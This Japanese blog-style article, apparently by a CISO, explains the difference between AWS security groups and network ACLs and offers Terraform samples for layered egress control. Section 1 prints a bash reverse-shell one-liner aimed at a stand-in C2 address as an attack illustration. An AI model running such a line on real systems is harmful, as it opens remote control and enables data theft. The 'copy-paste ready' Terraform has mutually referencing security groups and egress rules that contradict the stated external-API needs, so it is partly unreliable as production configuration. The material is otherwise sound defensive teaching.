お疲れ様!今日も現場のセキュリティ運用や設計、本当にお疲れ様。
「クラウドのネットワークセキュリティなんて、セキュリティグループ(SG)でアウトバウンドとインバウンドを絞っておけば十分でしょ?」
もし君のチームにそんな風に考えているメンバーがいたら、今すぐこの記事を読ませてほしい。あるいは、君自身が「ネットワークACL(NACL)って、設定が面倒なだけでSGと何が違うの?」と疑問に思っているなら、大正解だ。その疑問こそが、堅牢なシステムを構築するための第一歩だからだ。
教科書には「SGはステートフル、NACLはステートレス」と一行で書かれている。だが、攻撃者はその「一行の行間」にある仕様の隙間を、執拗に狙ってくる。
今回は、CISOとして数々のインシデントハンドリング(事故対応)を主導してきた私から、SGとNACLの使い分けが甘かったために起きたリアルな攻撃シナリオ(PoC)と、それを完全に防御するための「コピペで動くTerraform(IaC)による多層防御ネットワーク設計」を伝授する。
耳の痛い話もあるかもしれないが、すべて現場の泥をすすって得た知見だ。しっかりついてきてほしい。
—
1. なぜSGだけでは不十分なのか?攻撃者が狙う「アウトバウンドの盲点」
まずは、よくある「SGだけ」で構築されたWebアプリケーションの構成を考えてみよう。
[インターネット] ──> [ALB (SGあり)] ──> [Web/APサーバー (SGあり、NACLなし)]
この構成で、WebアプリケーションにSSRF(Server-Side Request Forgery)やリモートコード実行(RCE)の脆弱性が発生したとする。攻撃者はこの隙を見逃さない。
攻撃シナリオ:リバースシェルによる内部ネットワークの完全掌握
攻撃者がWebサーバーの脆弱性を突き、サーバー内部で任意のコマンドを実行可能にした。次に彼らがやることは何か?ターゲットサーバーから、攻撃者が用意した外部のC2(Command and Control)サーバーへ「逆接続」を要求するリバースシェル(Reverse Shell)の確立だ。
# 攻撃者がWebサーバー上で実行させる悪意あるワンライナー(PoC)
bash -i >& /dev/tcp/198.51.100.23/443 0>&1
多くの開発現場では、SGのアウトバウンド(送信)ルールを以下のように「デフォルト全通し」にしている。
- 送信先:
0.0.0.0/0(すべてのIP) - プロトコル: すべて
- ポート範囲: すべて
「パブリックから直接アクセスできないプライベートサブネットに置いているから安全」というのは幻想だ。Webサーバー自体が外部のパッケージアップデート(npmやpipなど)やAPI連携のために、インターネットへのアウトバウンド経路(NAT Gateway経由など)を持っている場合、このリバースシェルは一発で成功する。
攻撃者は、HTTPS(ポート443)に偽装したトラフィックで、社内の機密データベースの情報を外部へ悠々と持ち出していく(データエクスフィルトレーション)。
ここでNACL(ステートレス)が防波堤になる理由
SGは「インスタンス(NIC)単位」の防御であり、きめ細かな制御が得意だ。しかし、開発者が利便性のためにSGのアウトバウンドを全解放してしまうミスは、残念ながら日常茶飯事だ。
ここでNACLという「サブネット単位」のステートレスな関門をもう一枚噛ませておく。
NACLで「外部への不要な通信(特にデータベースサブネットからの直接のアウトバウンドなど)」をネットワークレイヤーで物理的に遮断しておけば、仮に開発者がSGの設定をミスしても、あるいはサーバーが乗っ取られても、VPCの境界で攻撃者の通信をドロップできる。
これが、私たちが「多層防御」と呼ぶものの本質だ。
—
2. SGとNACLの決定的な違い:ステートフル vs ステートレス
設計コードに入る前に、この2つの挙動の違いを脳裏に焼き付けてほしい。
| 比較項目 | セキュリティグループ (SG) | ネットワークACL (NACL) |
| :— | :— | :— |
| 適用単位 | ネットワークインターフェース (ENI) 単位 | サブネット単位 |
| 評価順序 | すべてのルールを評価(許可のみ) | ルール番号順に評価(許可・拒否双方) |
| ステート(状態) | ステートフル(戻り通信は自動許可) | ステートレス(行きと帰りの両方を明示) |
| 主な用途 | アプリケーション間の通信制御 | セグメント間の大まかな境界防御 |
「ステートレス」が意味する、エフェメラルポートの罠
NACLを設計する上で、全エンジニアが一度は通信障害を起こして頭を抱えるのがエフェメラルポート(一時ポート)の存在だ。
TCP通信は、クライアントからサーバーの特定のポート(例: 443)へ接続を試みるが、クライアント側も「応答を受け取るためのポート」を一時的に開く。これがエフェメラルポート(OSによって異なるが、一般的には 1024 - 65535)だ。
- SG(ステートフル)の場合:
443へのインバウンドを許可すれば、戻りのエフェメラルポートへのアウトバウンド通信は「自動的」に許可される。 - NACL(ステートレス)の場合: 行きの
443を許可しても、帰りの「エフェメラルポート(1024-65535)」を明示的に許可しなければ、通信は成立しない。
この特性を理解せずにNACLを有効にすると、「設定した瞬間にすべての通信が途絶する」という悪夢のトラブルを引き起こす。
—
3. 【実践】コピペで使える堅牢な多層防御アーキテクチャ(Terraform)
それでは、具体的なIaC(Terraform)コードを見ていこう。
ここでは、実務で最も標準的な「3層構造(Public / Private / DB)」のネットワークにおいて、SGとNACLを極限までセキュアに絞り込んだ実装サンプルを提供する。
このコードは、本番環境にそのまま、あるいは少しのIP修正で適用できるレベルで記述してある。
1. セキュリティグループの設定(最小権限の原則)
まずは、アプリケーションレイヤーの相互通信を縛るSGの設定だ。
# ==========================================
# 1. ALB(ロードバランサー)用セキュリティグループ
# ==========================================
resource "aws_security_group" "alb_sg" {
name = "prod-alb-sg"
description = "Allow inbound HTTPS from Internet"
vpc_id = var.vpc_id
# インバウンド:インターネットからのHTTPS(443)のみを許可
ingress {
description = "Allow TLS from Internet"
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
# アウトバウンド:プライベートサブネットのWebアプリ(ポート8080)のみに転送
egress {
description = "Allow traffic to App servers only"
from_port = 8080
to_port = 8080
protocol = "tcp"
security_groups = [aws_security_group.app_sg.id] # 送信先をAppのSGに限定
}
tags = { Name = "prod-alb-sg" }
}
# ==========================================
# 2. Web/Applicationサーバー用セキュリティグループ
# ==========================================
resource "aws_security_group" "app_sg" {
name = "prod-app-sg"
description = "Allow inbound from ALB only"
vpc_id = var.vpc_id
# インバウンド:ALBのセキュリティグループからのアクセスのみを許可(ソース指定)
ingress {
description = "Allow traffic from ALB"
from_port = 8080
to_port = 8080
protocol = "tcp"
security_groups = [aws_security_group.alb_sg.id]
}
# アウトバウンド:DB(PostgreSQL: 5432)への通信のみを許可
# ※ インターネットへの全通し(0.0.0.0/0)を排除し、SSRFやリバースシェルを防ぐ
egress {
description = "Allow outbound to Database only"
from_port = 5432
to_port = 5432
protocol = "tcp"
security_groups = [aws_security_group.db_sg.id]
}
tags = { Name = "prod-app-sg" }
}
# ==========================================
# 3. データベース(RDS)用セキュリティグループ
# ==========================================
resource "aws_security_group" "db_sg" {
name = "prod-db-sg"
description = "Allow inbound from App instances only"
vpc_id = var.vpc_id
# インバウンド:AppのSGからのみ、PostgreSQL(5432)への接続を許可
ingress {
description = "Allow DB access from App servers"
from_port = 5432
to_port = 5432
protocol = "tcp"
security_groups = [aws_security_group.app_sg.id]
}
# アウトバウンド:DBから自発的に外部へ通信することは絶対にないため、何も許可しない(完全閉域)
# ※ これにより、SQLインジェクション等でDBが乗っ取られても、外部へのデータ送信をSGレベルで防ぐ
tags = { Name = "prod-db-sg" }
}
—
2. ネットワークACLの設定(ステートレスな境界防御)
次に、サブネット全体を包むNACLの設定だ。ここでは、上記で設定したSGの背後で、万が一の「SG設定漏れ」が起きた際のセーフティネットとして機能させる。
特に、DBサブネット用のNACLは、外部への通信を一切遮断しつつ、Appサブネットとの通信のみを双方向で厳密に定義する。
# ==========================================
# 1. プライベート(App)サブネット用 NACL
# ==========================================
resource "aws_network_acl" "private_nacl" {
vpc_id = var.vpc_id
subnet_ids = var.private_subnet_ids # プライベートサブネットに紐付け
# --- インバウンドルール ---
# ルール100:ALB(パブリックサブネット)からのAppポート(8080)への通信を許可
ingress {
protocol = "tcp"
rule_no = 100
action = "allow"
cidr_block = var.public_subnet_cidr # パブリックサブネットのCIDR
from_port = 8080
to_port = 8080
}
# ルール110:DBから戻ってくる、またはパブリックからの戻りトラフィック(エフェメラルポート)を許可
ingress {
protocol = "tcp"
rule_no = 110
action = "allow"
cidr_block = "0.0.0.0/0" # 本来は絞るべきだが、外部API等と連携する場合は広めに開ける
from_port = 1024
to_port = 65535
}
# --- アウトバウンドルール ---
# ルール100:DBサブネット(5432ポート)への通信を許可
egress {
protocol = "tcp"
rule_no = 100
action = "allow"
cidr_block = var.db_subnet_cidr # DBサブネットのCIDR
from_port = 5432
to_port = 5432
}
# ルール110:ALBへの応答トラフィック(エフェメラルポート)を許可
egress {
protocol = "tcp"
rule_no = 110
action = "allow"
cidr_block = var.public_subnet_cidr
from_port = 1024
to_port = 65535
}
tags = { Name = "prod-private-nacl" }
}
# ==========================================
# 2. データベースサブネット用 NACL(超堅牢閉域設定)
# ==========================================
resource "aws_network_acl" "db_nacl" {
vpc_id = var.vpc_id
subnet_ids = var.db_subnet_ids # DBサブネットに紐付け
# --- インバウンドルール ---
# ルール100:AppサブネットからのDB接続(5432)のみを許可
ingress {
protocol = "tcp"
rule_no = 100
action = "allow"
cidr_block = var.private_subnet_cidr
from_port = 5432
to_port = 5432
}
# --- アウトバウンドルール ---
# ルール100:Appサブネットへの「戻り通信」(エフェメラルポート)のみを許可
# ※ DBサブネットからは、これ以外のすべてのアウトバウンド(インターネット含む)が黙示的に拒否(DENY)される
egress {
protocol = "tcp"
rule_no = 100
action = "allow"
cidr_block = var.private_subnet_cidr
from_port = 1024
to_port = 65535
}
tags = { Name = "prod-db-nacl" }
}
—
4. 現場の泥臭い運用Tips:NACL導入時のトラブル回避法
この極限まで絞り込んだ設定を本番環境に投入すると、高確率で最初はいくつかの通信が止まる。
「設計通りにしたのに動かない!」とパニックになる前に、以下のトラブルシューティングを頭に叩き込んでおいてほしい。
1. DNS解決(ポート53)の罠
Webサーバーが外部のAPI(例: StripeやSendGridなど)を叩くとき、当然ドメインの名前解決が必要になる。
NACLのアウトバウンドで「TCP/UDP 53(DNS)」を許可していないと、名前解決に失敗して接続エラーが多発する。外部連携があるサブネットのNACLには、必ず以下のルールを追加すること。
# NACLのアウトバウンドにDNSを追加
egress {
protocol = "udp"
rule_no = 120
action = "allow"
cidr_block = "0.0.0.0/0" # もしくはVPCのDNSサーバーIP(VPC CIDRの+2)
from_port = 53
to_port = 53
}
2. VPCフローログの活用
「NACLで弾かれているのか、SGで弾かれているのかわからない」
そんな時は、迷わずVPCフローログを有効化して、拒否(REJECT)ログを分析してほしい。
AWS CloudWatch Logsのロググループで以下のクエリを実行すれば、どこでパケットがドロップされたかが一目瞭然だ。
# CloudWatch Logs Insights 用のクエリ例
fields @timestamp, srcAddr, dstAddr, dstPort, action, logStatus
| filter action = "REJECT"
| sort @timestamp desc
| limit 20
REJECT されている宛先ポートが 1024-65535 の範囲であれば、十中八九、NACLのエフェメラルポートの設定漏れ(戻り通信の考慮不足)だ。
—
5. CISOからのアドバイス:セキュリティは「美しさ」と「泥臭さ」のブレンド
セキュリティグループとネットワークACLの使い分けは、よく「ミクロ(SG)」と「マクロ(NACL)」の視点に例えられる。
- SGは、アプリケーションの「仕様」を語る。(どのアプリとどのアプリが会話すべきか)
- NACLは、インフラの「ポリシー」を語る。(データベースを外部から隔離せよ、など)
美しいIaCコードを書くことは重要だが、本当に価値があるのは「もし、こっちのレイヤーが突破されたら、あっちのレイヤーでどう止めるか?」という、泥臭い「失敗を前提とした設計(Design for Failure)」の思想だ。
今回紹介したTerraformの設定は、少し窮屈に感じるかもしれない。開発初期は「面倒くさい」と言われることもあるだろう。
だが、一度この「型」を身につけてしまえば、君のチームが作るシステムは、そこらの「なんちゃってクラウド環境」とは一線を画す、エンタープライズ基準の堅牢性を手に入れることになる。
自信を持って、この設計ルールをチームに共有してほしい。何かあれば、いつでも相談に乗るよ。
また次のデプロイで会おう。安全なハッキング(防衛)を!
コメント